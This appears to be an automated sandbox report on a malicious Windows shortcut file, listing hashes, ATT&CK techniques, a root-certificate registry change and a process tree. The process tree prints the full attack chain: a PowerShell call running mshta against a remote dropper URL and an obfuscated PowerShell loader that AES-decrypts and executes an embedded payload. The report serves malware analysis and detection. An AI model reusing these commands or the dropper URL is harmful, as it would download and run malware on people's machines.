146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28/05/2024, 11:35

Sharing

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Report Analysis Logs

General

Target
146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03.lnk
Size 1KB
Sample240528-nqfc5ahc21
SHA256 146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03
MD5 9502dc9350c13e66e15a4cfb2c1f3aca
SHA1 dc2242f7db20926823f21a998f04e18754385818
SHA512 cf33bef35a2ace1ff96c3155677e90089f5cbd3564c046e843f1deda72fded3764144f30c7d09d18b3429451b5aa25fd875f28ae32df8a35978ba4e1e0a66922
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://matodown.b-cdn.net/matodown

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
4	2392	mshta.exe
7	2392	mshta.exe
9	2392	mshta.exe
11	2392	mshta.exe
13	2392	mshta.exe
15	1736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2588	powershell.exe
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 2588	996	cmd.exe	29
PID 996 wrote to memory of 2588	996	cmd.exe	29
PID 996 wrote to memory of 2588	996	cmd.exe	29
PID 2588 wrote to memory of 2392	2588	powershell.exe	30
PID 2588 wrote to memory of 2392	2588	powershell.exe	30
PID 2588 wrote to memory of 2392	2588	powershell.exe	30
PID 2392 wrote to memory of 1736	2392	mshta.exe	31
PID 2392 wrote to memory of 1736	2392	mshta.exe	31
PID 2392 wrote to memory of 1736	2392	mshta.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\146c124f7f8b73ca14819cc71cb8c4d6115910d0c9a244505305da43a984db03.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .'mshta'https://matodown.b-cdn.net/matodown
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://matodown.b-cdn.net/matodown
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function QauvaMS($HoDdRmke){return -split ($HoDdRmke -replace '..', '0x$& ')};$iyNlCY = QauvaMS('7FF9A1E2028C72D9633F746D053860D1AE61EF3075162BEB9119E4A02B456F0B2DADE1FA60EE1391D9318240ECFA0F370A684E1D27488CB7343572180E5D7F64FA2068E6E766E9B97525F92377F555A108905B8992A05554F4615ADEAB8A1B47515BD39DDACACC821E4C7500407F74B4093820D014DA98338FA229F06E0E5A04BE1FBB573C16BBB86334689A1FC12DF0F5ECF45111FCB032578B0E88B72EB216706E8564CD955A0C54287DCEB546FC989E8FDDDBD0454B0F239963F1B7F18639F203254AA31012B1180B407E58CAADDDBBFC5E4F81556AEB82AFE01AA131F4F81B9673DA89E4B0A63ADA8F9827358D40EA388F355F1126D879C3E78B1EE69C9306AC16381DDC6E3B0C89A1210BAD8A615E549C16E28EA1617D07DA97CCC018CE9DA1A16F378F9574EE1178A5097F7FA0F28BFF17A85C5DEE04D481404AE48730119CE230F9EA8A9A329A37D501E323077761B3F481CF9A77393EA97B3DBA24CDB4BB070B435CAE0969A3F8B065BFA58F9F5B6841A620535D3946F9BF60701D26A495A2E42A16F796C9E29A5B2FB98482F0BC8D025377488282A8152CAEF9574201001A15CE517F3C7ED2DC22E85A22EF56F5D8B9000C936180D082CD8CB3739D137632FDA8F79CC75D9C4863B7FDE434DE6F51EA9B3DCEFFA45B58C12510D1FB371BBE42FD2C517E5B14CCA09EE431C45166193C41722F7F69EAB54B06C8842A34745C006FFF6FEC258FE304755E74D1E518F5BBB59B75346EC688FD55B14421D257C5EC8045CCAC9E9D564EF084C451B711FB7B97646F131684A036417111812378604D2977C5B77E88745766E31391233D98834F59D6F1A1DE1E4CE1E55B40C8B19CBEC8AD4081F7EF9D42C4D581B83DC448F727A70A990488FD9014F4609E14A39428810F7060750C838F7077D7EC202F296E9792794E182BD5A27399C139D469FAF24F8F77730F49650D8F85A37C29B71242BD6763F9CD93274F80E3C0403FA52547B334E6AC50EB24D7F4AA5A5A4428FEA1CF3F0038B714F0BBDEDE1BB79E2ACF02A8E00D2FEB599317ABD8D691E4BFC55EFBD715E462E2A946BCD4EEE8369DD957616F32D7C6ECEE54BE1DFEEDD43E4681104618047B25B2680116239CC989F2200632F0A6110511D0E8C73E5B0F0C71B85302F9AFE8C539046BBFCB46F86BF9CDBD68C0A88EFC3898444D66B797D2CD895867FD7A5F88A5A7A13D5226C764D8CFB1FB83C2A1518870EE26DA6C39E2DF081F0A9E6B1CCA5AB799CBE6BAE8CD9F9722C31B6BA069561848CD1A05DE9DFBD2A70DF0C0DE81CE4941DB13BAADFECEC700BEF7756132B7C915BB802E2FA8032A29CA830B981CAF18001CA62C17D46647C8AE199AD9734B5061ECD117ED39CD914CFD5F88648B9DBFC2A1ABE8260B5564E8BF9097E82FFDAA6D84EE0D6539E25B01E2CC8C1AA026AE0F2EB032B0A512F05B6E7B521B8176D28B258B572781FC1B7165830F4235494E1FD3DB1B3EF72561C910DC67D3EE5098D2A032F5D5F4763948C6A686AB016858D95CB34CA802A85B65DF044C885AF586D05F68CB7F75E39882FE4C0490750D377795534A494E124368CD4B23E3AADDFAC52AAD27D748F2A172FA4DEB23F5B93CA8908EB46267A448A4319C83F8D1DD0D9F77F3120540BB050872A2916D730AC480D44DBEDC2E5227F0A042536A9A97D6CCB6351B6627AE0E26F9C9AB7D975A58B4E27CF3C37E99401A88F63F19231313FADBB5B82E47F5D2B281480193E0F8041FC0B11FBE75E334594795B0D58F58F9A2AFF773F3F00C9F9897949F03810B71940EE329078A295EA149457360C8D9201165B5261E948B6801F730F6D63671E80AA283B5C0E4AF7A886A82F21DADCEBBD4BCEF69');$JkpEB = [System.Security.Cryptography.Aes]::Create();$JkpEB.Key = QauvaMS('7075576B5265434F684658506E796E6D');$JkpEB.IV = New-Object byte[] 16;$dghjnlFr = $JkpEB.CreateDecryptor();$fQMBgMIQs = $dghjnlFr.TransformFinalBlock($iyNlCY, 0, $iyNlCY.Length);$KBZnuMBRb = [System.Text.Encoding]::Utf8.GetString($fQMBgMIQs);$dghjnlFr.Dispose();& $KBZnuMBRb.Substring(0,3) $KBZnuMBRb.Substring(3)
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Size 68KB
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
SSDEEP 1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar31D1.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar31D1.tmp
Size 177KB
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
SSDEEP 1536:fAo/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mJ:f/J+qTR0XCy/dmASru2Aijbdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1736-110-0x0000000001E90000-0x0000000001E98000-memory.dmp

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memory/1736-109-0x000000001B740000-0x000000001BA22000-memory.dmp

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memory/2588-45-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

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memory/2588-43-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

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memory/2588-42-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

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memory/2588-41-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

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memory/2588-46-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

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memory/2588-44-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

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memory/2588-38-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp

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memory/2588-39-0x000000001B690000-0x000000001B972000-memory.dmp

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memory/2588-40-0x0000000002330000-0x0000000002338000-memory.dmp

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